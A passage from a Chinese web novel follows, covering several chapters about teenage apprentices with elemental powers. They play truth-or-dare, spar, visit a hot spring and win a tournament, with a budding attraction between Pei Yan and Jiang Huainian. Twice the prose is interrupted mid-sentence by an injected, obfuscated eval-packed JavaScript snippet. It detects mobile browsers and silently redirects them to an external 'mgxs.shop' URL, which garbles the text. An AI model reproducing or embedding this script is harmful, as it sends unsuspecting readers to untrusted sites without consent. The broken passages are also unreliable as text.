这大冒险不算难,就是有点幼稚。裴衍瞥了时聿一眼,慢吞吞地站起来,慢吞吞地走到树下,慢吞吞地开始爬树。他的动作看起来懒散,但实际很利索,三两下就爬到了树顶,摘了个松果,又慢吞吞地爬下来,把松果扔给时聿。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119455|195948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时聿接住,点了点头,表示满意。 第五轮,宋听澜抽到最短的,江淮年最长。 “宋师兄,选吧。”江淮年笑得像只狐狸。 宋听澜依旧笑眯眯的:“真心话。” 江淮年眼珠一转:“宋师兄,你药房里那瓶绿色闻起来像臭袜子的药水,到底是干什么用的?” 这个问题问出来,陆时忆和沈言同时露出嫌恶的表情。那瓶药水他们都知道,味道极其诡异,每次经过药房都能闻到,但宋听澜从来不解释是什么。 宋听澜笑容不变:“那是用来除虫的。” “除虫需要那么臭吗!”陆时忆抗议。 “效果好啊。”宋听澜一脸无辜,“自从摆了那瓶药水,药房一只虫子都没出现过。” “……行吧。”江淮年败下阵来。 第六轮,陆时忆自己抽到最短的,裴衍最长。 “裴石头你手下留情啊,我选真心话。”陆时忆双手合十,做祈求状。 裴衍打了个哈欠,选择直接照搬沈言的问题:“你上次尿床是几岁?” “噗——” 陆时忆脸涨成了猪肝色:“我没有!” “那就是三岁?四岁?” “我都说了没有!” “哦,那就是五岁。” “裴石头我跟你拼了!” 一阵鸡飞狗跳后,陆时忆气呼呼地抽。 这次是江淮年。 江淮年警惕地说:“真心话。” 陆时忆眼睛一转:“小年糕,你初吻还在不在?” 江淮年:“……” 所有人又看了过来。 江淮年的耳朵以肉眼可见的速度红了。 “不回答就喝酒!”陆时忆得意。 江淮年咬了咬牙:“在!” “真的?” “爱信不信!” 沈言在旁边凉凉地说:“十七岁了初吻还在,啧啧。” “要你管!”江淮年恼羞成怒,“有本事你来说!” 沈言挑眉:“我肯定不在啊。” “真的假的?”陆时忆来劲了,“什么时候?跟谁?” 沈言瞥了他一眼:“关你屁事。” 游戏继续。几轮下来,各种稀奇古怪的问题和冒险都出来了。陆时忆被迫绕着空地蛙跳三圈,沈言被要求用四种不同的语气说“我是笨蛋”,江淮年则被逼着讲了个冷笑话,结果全场冷场,只有江妤很给面子地笑了两声。 太阳渐渐西斜,天色暗了下来。火堆里的柴火快要烧尽,只剩下红彤彤的炭火,散发着余温。 最后一轮,江淮年抽到最短的,江妤最长。 江淮年看着自家妹妹,心里有点发毛。江妤平时话不多,但整起人来可一点不含糊。 “哥,你选真心话还是大冒险?”江妤问,眼睛亮晶晶的。 “……真心话吧。”江淮年硬着头皮。 江妤想了想,问:“哥,你以后想做什么?” 这个问题让江淮年愣了一下。 他从来没想过这个问题。 以前在旧店,他想的是怎么养活自己和妹妹。 后来来了静园,想的是怎么变强,怎么保护妹妹。 至于以后…… 他没想过。 “以后啊……”他挠挠头,“先把眼前的难关过了吧。把那些乱七八糟的怪物都收拾干净,然后……然后开个店?卖点什么都行,能养活咱们俩就好。” “就这?”陆时忆插嘴,“不开个培训班?或者当个超级英雄?” “滚。”江淮年踹他一脚,“你以为演电影呢?” 江妤却点了点头,很认真地说:“好。那以后我帮你。” “帮我什么?” “帮你开店,帮你算账,帮你打扫。”江妤说,“你做饭太难吃了,以后还是我来做吧。” 江淮年:“……” 众人哄笑起来。沈言拍了拍江淮年的肩,语重心长:“节哀。” “节哀个屁!”江淮年笑骂,“我妹妹做饭好吃,我高兴还来不及呢!” 笑声中,太阳彻底沉下山去。天色暗了,风也凉了。火堆只剩下一点点余烬,勉强散发着微光。 “该回去了。”裴衍站起身,拍了拍身上的草屑。 “再坐会儿嘛。”陆时忆赖在地上不想动。 “再坐就天黑了,你想喂狼?”沈言也站起来。 “狼有什么好怕的,我一拳一个——” 话音未落,远处山林里传来一声悠长的狼嚎。 陆时忆一个激灵蹦起来:“走走走!回家回家!” 众人又是一阵笑。收拾好东西,灭了火堆,确认没有火星残留,这才往回走。 下山的路比上山轻松。吃饱喝足,又玩闹了一下午,几个人心情都不错。陆时忆哼着不成调的歌,沈言和江淮年边走边斗嘴,裴衍打着哈欠跟在后面,时聿走在最前探路,宋听澜和江妤走在中间,有一搭没一搭地聊着草药。 回到静园时,天已经全黑了。院子里点起了灯笼,暖黄的光晕染开,驱散了秋夜的寒意。 等洗漱完后,大家也都各自回房了,窗外月光很好,透过窗纸洒进来,在地上铺了一层银霜。远处传来隐约的虫鸣,更显得夜寂静。 至于沈言同学初吻不在了的这件事,其实他把小时候被妈妈亲过也算上了。 严格意义上来说,初吻还在,他只是单纯想呛江淮年。 13. 说不清,道不明 那天之后下了几场秋雨。雨不大,淅淅沥沥的,从早上下到傍晚,把院子里的青石板路洗得发亮。 银杏叶子被雨水打落不少,金黄的叶片混着雨水黏在地上,踩上去软塌塌的。 这种天气最适合睡觉。 裴衍也确实这么做了。 他连着三天除了吃饭上厕所,基本没下过床。 被子裹得严严实实,只露出个棕色的脑袋顶,呼吸均匀绵长,睡得天昏地暗。 陆时忆看不下去了,第四天早上直接踹门进去,扯着嗓子喊:“裴石头!你是冬眠了吗!这都几点了还睡!” 裴衍从被子里伸出一只手,摸索着抓了个枕头,准确无误地砸在陆时忆脸上:“滚。” “我不!”陆时忆把枕头扔回去,“师父说了,今天要检查训练进度!你再不起来,等会儿挨骂别怪我!” 裴衍这才慢吞吞地坐起来。 头发睡得乱七八糟,几缕翘着,眼神迷蒙,一看就是还没清醒。 他坐在床上发了会儿呆,然后才慢悠悠地开始穿衣服,动作慢得陆时忆想上去帮他穿。 等裴衍洗漱完晃悠到院子里,已经快中午了。 雨还在下,不大,但密密麻麻的,空气里都是潮湿的水汽。 萧予站在廊下,看着训练场的方向,江淮年和沈言正在对练。 两人都没打伞,身上早就湿透了。 江淮年的头发被雨水打湿,颜色更深了些,贴在额前。 沈言也好不到哪儿去,头发一缕一缕地往下滴水。 两人在雨里打得难解难分,冰火和能量球撞在一起,炸开的水花混着雨水四处飞溅。 “左边!沈言你左边空了!” 陆时忆在旁边跳脚,“江淮年你倒是攻啊!犹豫什么呢!” 江淮年一个火球砸过去,沈言侧身躲开,反手一道雷光劈过来。 江淮年抬手凝出冰盾挡住,冰盾咔嚓裂开,碎片混着雨水落了一地。 “可以了。”萧予开口。 江淮年和沈言同时停手,喘着粗气看向廊下。 雨水顺着他们的下巴往下滴,衣服湿透了贴在身上,勾勒出少年正在抽条的身体线条。 “进屋,换衣服,别感冒了。”萧予说完,转身回了书房。 江淮年抹了把脸上的水,和沈言对视一眼,两人同时咧嘴笑了。 “平手?”江淮年问。 “嗯。”沈言点头,“下次赢你。” “做梦。” 两人勾肩搭背地往屋里走,路过裴衍身边时,江淮年顺手拍了他肩膀一下:“哟,裴大爷终于醒了?” 裴衍躲开他的手,懒洋洋地说:“一身水,别碰我。” “矫情。”江淮年笑骂,和沈言一起进了屋。 裴衍站在原地,看着江淮年的背影。 少年湿透的衣服贴在背上,能清楚地看见肩胛骨的轮廓,还有因为喘息而微微起伏的脊背线条。 头发滴下的水珠顺着脖颈滑进衣领,消失在看不见的地方。 裴衍忽然觉得嗓子有点干。 他移开视线,看向还在下雨的天空,心里莫名其妙地有点烦躁。 午饭的时候,江淮年和沈言换了干衣服下来,头发还是湿的,用毛巾胡乱擦过,东一撮西一撮地翘着。 陆时忆指着江淮年的头发哈哈大笑:“你这发型,跟被雷劈了似的!” 江淮年抓起个馒头砸过去:“你才被雷劈!” 沈言在旁边凉凉地补刀:“他被雷劈是常态,毕竟天天玩电。” 陆时忆:“……沈言你!” 裴衍慢吞吞地吃着饭,眼睛却不由自主地往江淮年那边瞟。 江淮年正和陆时忆斗嘴,笑得眼睛弯起来,眼角那颗泪痣因为笑意显得格外明显。 他说话时手舞足蹈的,动作幅度很大,整个人都透着一种鲜活的气息。 这种鲜活,和裴衍自己那种对什么都提不起劲的状态形成鲜明的对比。 裴衍收回视线,低头扒饭。 心里那股莫名其妙的烦躁又涌上来了。 饭后,雨停了。 阳光从云层缝隙里漏出来,把院子里的积水照得亮晶晶的。 萧予把所有人都叫到训练场,说要检查这段时间的修炼成果。 检查方式很直接:两两对打,他在旁边看。 第一组是陆时忆和时聿。 陆时忆的电光快,但时聿的影子更快,总能在电光及身前躲开,然后从意想不到的角度发动攻击。 打了十几分钟,陆时忆被时聿用影子缠住脚踝绊了个跟头,输了。 “时聿你耍赖!”陆时忆爬起来抗议,“说好不用绊的!” 时聿推了推墨镜:“师父没说不能用。” 萧予点头:“确实没说。时聿胜。” 第二组是宋听澜和江妤。 宋听澜的藤蔓控制力极强,但江妤的水系刚好克他。 宋听澜的藤蔓附带了微弱的木系能量,被江妤的水雾一浸,传导效果大打折扣。 最后江妤用水雾凝成水绳,把宋听澜的藤蔓缠住,勉强赢了。 “不错。江妤对异能的克制关系理解得很到位。宋听澜,你太依赖固定植系了,得多想想其他攻击方式。” 宋听澜笑眯眯地点头:“是,师父。” 第三组是江淮年和沈言。 他俩刚打过,但萧予说要看正式对战。 于是两人又上了。 这次打得比上午更凶。 江淮年不再留手,冰火融合的能量球一个接一个砸过去,炸得训练场尘土飞扬。 沈言也不甘示弱,多色能量球变化多端,逼得江淮年不得不频繁切换攻防。 打到后来,两人都打出了火气。 江淮年一个火球擦着沈言耳边飞过,烧焦了他几根头发。 沈言一道雷光劈在江淮年脚边,炸出一个坑。 “停!”萧予喝道。 两人同时停手,喘着粗气瞪着对方,眼睛里都带着不服输的劲。 “平手。 但你们两个都有问题。 江淮年,你太依赖冰火融合了,单一元素的运用太粗糙。 沈言,元素的切换不够流畅,中间有断层。回去各自加强弱项训练。” “是!”两人同时应声,然后互相瞪了一眼,哼了一声别过头。 裴衍在旁边看着,心里那股烦躁更明显了。 他也不知道自己在烦什么,就是看江淮年和沈言打得那么投入,那么默契…… 有点不舒服。 最后轮到裴衍。 他的对手是时聿。 土系对影系,一个厚重一个诡谲。裴衍打得很稳,或者说,很懒。 他很少主动进攻,大部分时间都在防守挡住时聿神出鬼没的攻击。 时聿的影子从四面八方袭来,但每次都被裴衍预判到位置逼退。 打了快二十分钟,两人都没能拿下对方。 最后萧予喊停,判平局。 “裴衍,”萧予看着他,“你明明有机会进攻,为什么一直防守?” 裴衍打了个哈欠:“累。” “……” 萧予沉默了两秒,“回去加强进攻训练。” “哦。” 检查结束,萧予又布置了下阶段的训练任务,然后让大家散了。 江淮年和沈言又凑到一起,讨论刚才对战里的细节。 裴衍一个人靠在墙边,看着他们热火朝天地讨论,忽然觉得自己像个局外人。 他转身回了屋,往床上一躺,闭上眼睛。 但睡不着。 脑子里全是江淮年在雨里对练的样子,笑起来的样子,和沈言斗嘴的样子。 还有那双异色的眼睛,在阳光下亮得惊人。 裴衍翻了个身,把脸埋进枕头里。 烦。 之后几天,裴衍的训练态度认真了不少。 至少表面上是这样。 萧予布置的进攻训练,他虽然还是那副懒洋洋的样子,但确实在练。 准头提高了,成型速度加快了,连最不擅长的远程,现在也能打个七八环。 但他还是觉得烦。 尤其是看到江淮年和沈言凑在一起的时候。 那天下午,裴衍练完一组训练坐在树下休息。 江淮年和沈言在训练场另一边,不知道在练什么新招。 两人挨得很近,沈言的手搭在江淮年手腕上,好像在教他怎么控制能量输出。 裴衍盯着看了几秒,然后移开视线,抓起旁边的水壶灌了一大口。 水有点凉,顺着喉咙滑下去,但没能浇灭心里那股莫名的火。 陆时忆不知从哪儿冒出来,一屁股坐在他旁边:“裴石头,你最近怎么了?魂不守舍的。” “没怎么。”裴衍说。 “骗鬼呢。”陆时忆凑近,压低声音,“你是不是看江淮年和沈言走得近,心里不平衡了?” 裴衍手一顿,水壶里的水洒出来一些。 “胡说什么。”他声音冷了几分。 “我可没胡说。”陆时忆嘿嘿笑,“我都观察你好几天了。每次江淮年和沈言凑一块,你就那副表情,跟谁欠你钱似的。” 裴衍没接话,只是又灌了口水。 “要我说啊,”陆时忆拍拍他的肩,“你要是觉得江淮年被沈言抢走了,就主动点嘛。 多跟他说话,多找他训练,不然他哪知道你在想什么。” “我没在想什么。” 裴衍站起身,把水壶扔给陆时忆,“训练去了。” 陆时忆接过水壶,看着他走远的背影,摇头叹气:“这俩人,一个比一个别扭。” 裴衍说是去训练,其实也没练进去。 他对着木人桩打了几拳,力道没控制好,直接把桩子打裂了。 看着裂开的木桩,裴衍更烦了,索性不练了,转身回屋。 路过江淮年房间时,他听见里面传来笑声。 是江淮年和沈言的声音,还有陆时忆的大嗓门。 他们在玩牌,听起来战况激烈。 裴衍在门口站了几秒,然后转身回了自己房间。 关上门,世界安静下来。 窗外的天色渐渐暗了,雨又开始下,滴滴答答地打在窗玻璃上。 裴衍躺在床上,盯着天花板。 脑子里乱七八糟的,一会儿是江淮年湿透的背影,一会儿是他笑起来的样子,一会儿又是他和沈言勾肩搭背的画面。 他忽然想起小时候的一件事。 那时候他刚被萧予捡回来,也是这么个下雨天。 他因为水土不服发高烧,躺在床上昏昏沉沉的。 萧予喂他喝了药,让他好好休息。 他睡不着,就盯着窗外看雨。 雨下了一天一夜,他也看了一天一夜。 那时候他觉得,这个世界真没意思。 下雨没意思,天晴没意思,活着也没意思。 后来跟着萧予修行,学异能,也只是因为懒得想别的出路。 再后来认识了陆时忆、时聿、宋听澜,日子热闹了点,但他还是那副懒洋洋的样子,对什么都提不起劲。 直到江淮年来。 少年像一团火,莽撞地闯进静园,也闯进他死水一样的生活。 他张扬,他傲娇,他笑起来眼睛弯弯的,生气的时候会瞪人,训练的时候拼了命,吃饭的时候狼吞虎咽。 裴衍一开始觉得他麻烦。 太吵,太闹,太鲜活。 但不知从什么时候开始,他习惯了江淮年的吵闹,习惯了看他训练时认真的样子,习惯了他喊自己“裴石头”时那种熟稔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119456|195948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的语气。 然后就是沈言来了。 他和江淮年一拍即合,两人整天混在一起,训练、斗嘴、拆家。 裴衍忽然发现,江淮年不再只喊他“裴石头”了。 他也会喊沈言“小绿毛”,也会和沈言勾肩搭背,也会和沈言分享训练心得。 他心里有点不舒服。 但具体哪里不舒服,他说不上来。 明明只是师兄弟的关系而已。 敲门声打断了他的思绪。 “裴衍,吃饭了。”是江淮年的声音。 裴衍从床上坐起来,应了一声:“知道了。” 他开门出去,江淮年站在门口,头发还有点湿,应该是刚洗过澡。 身上换了干净的卫衣,整个人看起来清爽又精神。 “你没事吧?”江淮年看着他,“陆时忆说你今天怪怪的。” “他话多。”裴衍说,转身往厨房走。 江淮年跟上来,走在他旁边:“真没事?有事就说,别憋着。” “没事。”裴衍顿了顿,又说,“训练有点累。” “那你多吃点。”江淮年说,“宋师兄今天炖了鸡汤,可香了。” 宋听澜炖的汤一向好喝,汤色清亮,鸡肉炖得酥烂,里面还加了枸杞和红枣。每个人面前都摆了一大碗。 陆时忆已经喝得呼啦呼啦的,一边喝一边夸:“宋听澜你这手艺,不开餐馆可惜了!” 宋听澜笑着给他又盛了一碗:“喜欢就多喝点。” 江淮年也喝得很快,一碗汤几口就见了底。 他舔了舔嘴角,意犹未尽:“真好喝。” 裴衍看着他舔嘴角的动作,心里那股烦躁又涌上来了。 他低头喝自己的汤,味道确实不错,但他喝得没什么滋味。 饭后,几个人聚在客厅闲聊。 陆时忆提议看电影。 静园有台老式投影仪,偶尔会用来放些老片子。 今天他不知从哪儿弄了张碟,说是最近很火的科幻片。 “看吗看吗?”陆时忆举着碟片问。 “看呗。”江淮年第一个响应。 沈言点头:“行。” 宋听澜和时聿也没意见。江妤说看一会儿就得去练功,但可以先看开头。 裴衍本来想回屋睡觉,但看大家都答应了,也就没说什么,找了个角落的位置坐下。 电影开始。 讲的是未来世界,人类和机器人的故事。特效做得不错,剧情也还行。 陆时忆看得津津有味,时不时点评两句。 裴衍没怎么看进去。他的注意力总是不自觉地飘到江淮年那边。 少年窝在沙发里,抱着个抱枕,眼睛盯着屏幕,很专注的样子。 屏幕的光映在他脸上,明明灭灭的。 电影放到一半,有个机器人牺牲的镜头。 江淮年“啊”了一声,小声说:“这就死了?太突然了吧。” 沈言在旁边说:“剧情需要呗。” “那也太草率了。”江淮年嘀咕。 裴衍忽然开口:“不然呢?难道还要给他办个追悼会?” 江淮年愣了一下,转头看他:“裴石头你吃枪药了?” “没有。”裴衍别过脸,“看电影。” 江淮年盯着他看了几秒,然后哼了一声,转回去继续看电影。 后半场电影,气氛有点微妙。 陆时忆几次想活跃气氛都没成功。 电影放完,大家各自回屋。江淮年走得最快,连声招呼都没打。 裴衍看着他的背影,心里那点烦躁变成了懊恼。 他也不知道自己刚才为什么那么说,就是……就是没忍住。 回屋躺在床上,裴衍翻来覆去睡不着。 他想起江淮年刚才愣住的表情,还有那句“你吃枪药了”。 心里有点堵。 他坐起来,犹豫了一会儿,还是起身出了门。 走到江淮年房门口,他抬手想敲门,但又放下了。 在门口站了半晌,最后还是转身回了自己房间。 算了,明天再说。 第二天早上,雨停了。 阳光很好,裴衍起得比平时早,洗漱完出来,正好看见江淮年在院子里拉伸。 裴衍走过去,站在他旁边。 江淮年瞥了他一眼,没说话,继续做自己的事。 “昨天……” 裴衍开口,声音有点干,“我说话冲了点。” 江淮年停下来,直起身看他:“所以呢?” “对不起。”裴衍说。 这话他说得有点别扭,但还是说出来了。 江淮年盯着他看了几秒,似乎是想不到道歉的话能从裴衍口中说出来。 过了会儿,他咧嘴笑了:“行吧,原谅你了。” 他笑起来的时候泪痣会跟着上扬,桃花眼弯成月牙的形状,明媚又漂亮。 裴衍看着他笑,心里那点堵忽然就散了。 “不过你得请我吃糖。”江淮年又说。 “什么糖?” “就镇口那家糖果铺的牛奶糖。”江淮年说,“上次陆时忆买了,分了我一颗,可好吃了。” “……行。” “那说定了。” 江淮年拍拍他的肩,“走,训练去。” 两人一起往训练场走。 阳光洒在身上,暖洋洋的。 裴衍看着江淮年走在前面,背影挺拔,头发在风里微微晃动。 裴衍想不通自己怎么了。 这不像他。 而转眼间。江淮年已经走到很前面了,他转过身,不满的叫喊着:“裴衍!你能不能快点,别磨叽了!” 裴衍才回过神,“嗯”了一声,慢慢跟了上去。 算了,先不想了,这样下去也挺好。 14. 蓄谋已久 天气一天比一天冷,训练时呵出的气都凝成白雾。 陆时忆又开始嚷嚷了:“太冷了太冷了!再练下去我要冻成冰棍了!咱们去泡温泉吧!” 这次没人反驳。连最怕麻烦的裴衍都默默点了点头,最近日子训练完出一身汗,风一吹透心凉,泡个温泉暖暖身子是个好主意。 萧予听了他们的计划,没反对,只说:“早去早回,别惹事。” “师父您就放心吧!”陆时忆拍胸脯保证,“我们保证安分守己,泡完就回!” 于是第二天一早,几个人收拾了简单的行李,出发去离静园五十里外的温泉山庄。 江妤因为还有独自的任务要做,所以没跟着一起。 山庄建在半山腰,据说是某个退休的异能者开的,专门招待圈内人,普通游客进不来。 路上陆时忆很兴奋,叽叽喳喳说个不停,说温泉怎么怎么舒服,山庄里怎么怎么好玩。 江淮年被他吵得头疼,怼了他几句,两人又开始斗嘴。 沈言在旁边时不时补刀,宋听澜笑着打圆场,时聿一如既往地沉默,裴衍则靠着车窗闭目养神。 但江淮年注意到,他其实没睡着,睫毛在轻微颤动。 温泉山庄比想象中热闹。 他们到的时候,院子里已经停了好几辆车,看样子都是来泡温泉的异能者。 山庄老板是个笑眯眯的中年大叔,听说他们是萧予的徒弟,态度格外热情,给他们安排了一个单独的院子,里面有室内和室外两个温泉池。 “你们先歇着,饭点我叫你们。”老板说完就走了。 几个人放下行李,迫不及待地冲向温泉。室内池子小些,但水温正好。室外池子大,连着山景,能看到远处层层叠叠的山峦。 陆时忆第一个跳进室内池子,溅起一大片水花:“舒服!” 沈言慢悠悠地脱了衣服,试了试水温,才滑进去。 江淮年也跟着下了水,温热的水包裹全身,他舒服地叹了口气。 裴衍最后一个下来,找了个角落坐下,背靠着池壁,闭上眼睛,一副准备睡觉的架势。 “裴石头,你能不能别一进来就睡?”陆时忆撩水泼他。 裴衍眼皮都没抬:“别吵。” “泡温泉就是要聊天啊!睡觉回家睡去!” “你管我。” 两人又开始了日常斗嘴,江淮年听着想笑,往旁边挪了挪,给裴衍腾出点空间。裴衍察觉到他的动作,睁开眼看了他一眼,又闭上了。 泡了一会儿,陆时忆嫌室内池子太小,闹着要去室外。 几个人裹上浴袍,转移到室外池子。室外温度低,但池水更热,水汽蒸腾起来,白茫茫一片,远处的山景都模糊了。 江淮年趴在池边,下巴搁在手臂上,看着远处雾气缭绕的山峦。水很热,泡得他浑身发软,脑子也跟着放空。 忽然有人在他旁边坐下。他扭头,是裴衍。 裴衍也趴在池边,闭着眼睛,头发湿漉漉地贴在额前,水珠顺着脸颊滑下来…… 江淮年盯着他看了几秒,忽然觉得裴衍长得其实挺好看的。 尤其是现在,卸下了平时那股懒洋洋的劲儿,整个人看起来柔和了很多。 “看什么?”裴衍忽然开口,眼睛还闭着。 江淮年吓了一跳,赶紧移开视线:“没看什么。” “哦。”裴衍应了一声,没再说话。 气氛有点微妙。江淮年觉得应该说点什么,但又不知道说什么。 正好陆时忆在那边大喊大叫,说发现池底有鹅卵石,花纹特别好看。江淮年顺势接话:“我去看看。” 他滑到陆时忆那边,加入了对鹅卵石的讨论。裴衍依旧趴在池边,一动不动,像睡着了。 泡了一个多小时,几个人都泡得浑身发红,才恋恋不舍地爬起来。换上干净衣服,去山庄的餐厅吃饭。 餐厅里已经坐了不少人。大多都是异能者,三五成群,边吃边聊。 他们找了个靠窗的位置坐下,老板亲自过来点菜。 山庄的菜以山野风味为主,野菜、菌菇、山鸡,做得朴素但味道很好。几个人饿坏了,吃了个精光。 饭后,陆时忆提议在山庄里逛逛。反正时间还早,回去也没事干,大家都同意了。 山庄确实挺大,除了温泉池,还有茶室、棋牌室、小花园。他们逛到花园时,看见一群人围在公告栏前,指指点点地说着什么。 “看什么呢?”陆时忆好奇地凑过去。 公告栏上贴着一张海报,设计得挺精致,上面写着几个大字:“第七届异能者交流赛”。 下面是小字说明:一年一度,面向所有异能者开放,分个人赛和团队赛,优胜者有丰厚奖励。 “交流赛?”江淮年也凑过去看,“异能者的比赛?” “对啊。”旁边一个戴眼镜的年轻人接话,“每年都办,今年轮到咱们这儿了。你们不知道?” 几个人摇头。静园消息闭塞,萧予又不怎么让他们接触外界,不知道这种比赛很正常。 “比赛什么时候开始?”沈言问。 “后天。”眼镜男说,“就在山庄后面的训练场。报名截止到明天中午,你们要参加吗?” 几个人对视一眼。陆时忆眼睛都亮了:“参加!当然参加!多好的机会啊,能跟其他异能者切磋!” 江淮年也有点心动。他学了这么久,还没跟萧予以外的人正经交过手呢。 “回去问问师父。”裴衍说。他看起来没什么兴趣,但也没反对。 回到院子,他们用山庄的电话打给萧予,电话响了很久才接通,萧予的声音从那头传来,有点模糊。 听完他们的汇报,萧予沉默了几秒,然后说:“想去就去吧。不过记住几点:第一,安全第一,打不过就认输,别逞强。第二,比赛就是比赛,别结仇。第三……”他顿了顿,“我不跟着,你们自己斟酌着来。” “师父您不来?”陆时忆惊讶。 “我老了,折腾不动了,你们也该自己闯闯了。” 挂了电话,几个人都有点兴奋。萧予不跟着,意味着他们可以自由发挥,不用束手束脚。 “报名去!”陆时忆一拍大腿。 于是第二天,他们去报了名。个人赛和团队赛都报,反正闲着也是闲着。报名处的工作人员看他们年轻,好心提醒:“比赛挺激烈的,往年受伤是常事,你们确定要报?” “确定!” 工作人员没再多说,给他们登记了信息,发了参赛牌。牌子上有编号和名字,还有元素属性,这是为了防止比赛时属性相克,出人命。 江淮年拿到牌子,翻来覆去地看。牌子上写着“火/冰”,代表他的双系属性。沈言的密密麻麻挤了一排,引得工作人员多看了他好几眼。 “混合系?”工作人员问。 沈言点点头。 “少见啊。”工作人员感慨,“好好比,说不定能拿个好名次。” 报完名,离比赛开始还有一天时间。几个人没再乱逛,回了院子,商量战术。 个人赛是淘汰制,一对一,赢了晋级,输了回家。团队赛是五人制,他们正好够人数,得商量谁上场谁替补。 “我不上。”裴衍第一个表态,“麻烦。” “我也不想上。”时聿第二个。 “你俩必须上!”陆时忆瞪眼,“多好的搭配!” “一个控场一个偷袭,完美!”江淮年也附和。 最后商量来商量去,决定团队赛由裴衍、时聿、江淮年、沈言、陆时忆上场。 知道自己得上场之后,裴衍整个人都跟要死了一样。 累。 不如睡觉。 但拒绝无效。 而个人赛,全员参加,能走多远走多远。 比赛当天,训练场里人山人海。江淮年还是第一次见到这么多异能者,各种发色各种瞳色,穿着打扮也千奇百怪。有的一看就是老手,气场强大,有的跟他们一样,是第一次参加的新人,紧张得手脚都不知道往哪放。 个人赛先开始。抽签决定对手,江淮年抽到一个水系异能者,对方是个看起来跟他差不多大的女孩。 比赛开始,女孩双手一扬,两道水鞭凭空出现,呼啸着抽向江淮年。 江淮年不闪不避,左手凝冰,右手聚火,冰盾挡住水鞭,火球同时砸向女孩面门。 女孩没想到他双系同出,慌忙闪避,但还是被火球擦到肩膀,衣服烧焦了一块。 她咬咬牙,水鞭化作水幕,试图困住江淮年。江淮年直接一个冰火融合球轰过去,水幕瞬间蒸发,女孩被震得倒退好几步,一屁股坐在地上。 裁判宣布江淮年胜。 “承让。” 女孩站起来,瞪了他一眼,气呼呼地走了。 江淮年耸耸肩,下场找队友。陆时忆也赢了,对手被他的电光克制得死死的。沈言赢得更轻松,元素轮番上阵,对手连他衣角都碰不到。 至于裴衍…… 裴衍的对手打着打着睡着了,被裁判判负。 “不是,这也能赢?”陆时忆目瞪口呆。 裴衍打了个哈欠:“他自己困,怪我?” 第一轮结束,几人全晋级。 很快到了第二轮,裴衍的对手拉肚子,没来。 “裴石头你这是走了什么狗屎运!”陆时忆羡慕嫉妒恨。 裴衍懒洋洋地靠在墙上:“运气也是实力的一部分。” 又过了几轮,队里只剩下江淮年、沈言和裴衍。 陆时忆输给了一个风系,时聿输给了一个光系,宋听澜输给了一个水系。 第四轮,江淮年运气好,抽到一个刚打完恶战的对手,体力不支,轻松取胜。沈言则遇到个难缠的对手,打了足足半小时才险胜。裴衍……裴衍的对手临时有事,退赛了。 “我靠!”陆时忆差点跳起来,“裴石头你这什么运气!一路躺赢啊!” 裴衍依旧那副懒洋洋的样子:“可能我长得比较帅,对手不忍心打我。” 半决赛,江淮年对沈言。 两人站在台上,大眼瞪小眼。 “没想到啊。”江淮年说。 “我也没想到。”沈言说。 裁判一声令下,两人同时出手。 他们对彼此太熟悉了,对方的招式、习惯、弱点,都一清二楚。 打了二十分钟,愣是没分出胜负。 最后还是江淮年耍了个心眼,假装力竭,诱沈言近身,然后一个融合球炸开,把沈言轰下了台。 沈言从地上爬起来,拍了拍身上的灰,瞪江淮年:“你阴我。” “兵不厌诈。”江淮年咧嘴笑。 另一场半决赛,裴衍终于遇到了真正的对手。 两人打了快四十分钟,最后裴衍用一招“地陷术”把对方困住,才勉强获胜。 决赛,江淮年对裴衍。 两人上台,面对面站着。裴衍还是那副没睡醒的样子,江淮年则摩拳擦掌,跃跃欲试。 “裴石头,我可不会手下留情。”江淮年说。 “嗯。”裴衍应了一声,“你尽量。” 裁判宣布开始。 江淮年率先出手,火球冰锥齐发。裴衍不慌不忙的挡住。两人你來我往,打了十几分钟,谁也没占到便宜。 裴衍的防御太强,江淮年的攻击很难突破。 而江淮年的双系变化太多,裴衍也很难抓住他的破绽。战局陷入僵持。 又打了十分钟,两人都开始喘气。异能的消耗很大,再打下去可能要拼体力了。 就在这时,裴衍忽然露出一个破绽,江淮年眼睛一亮,能量全力轰出。 然而就在即将命中时,土墙忽然变形,从中间裂开一道缝,精准地让能量球穿过,然后合拢,把江淮年困在了里面。 “我靠!”台下陆时忆大喊,“裴石头你阴险!” 土墙里传来江淮年的闷哼。 几秒钟后,土墙崩塌,江淮年灰头土脸地冲出来。 “……我输了。”江淮年举手投降。 最后就是裴衍获胜。 “厉害啊裴石头。”他拍拍裴衍的肩。 “还行。”裴衍收了土刺,语气平淡,“你也不错。” 个人赛结束,奖品是一些稀有的元素结晶和一笔奖金。 裴衍把奖金全给了江淮年:“你拿着,买糖。” 江淮年一愣:“什么糖?” “牛奶糖。”裴衍说,“不是要我请吗。” 江淮年这才想起来,是之前他让裴衍道歉时说的。他没想到裴衍还记得。 江淮年突然感觉有点别扭:“……谢了。” 个人赛结束,休息一天,然后是团队赛。团队赛的对手都是临时组队,配合不如他们默契,静园小队一路过关斩将,轻松杀进四强。 四强赛的对手是五个老牌异能者组成的队伍,配合默契,战术老道。几人打得异常艰难,最后靠时聿的偷袭和裴衍的控场才险胜。 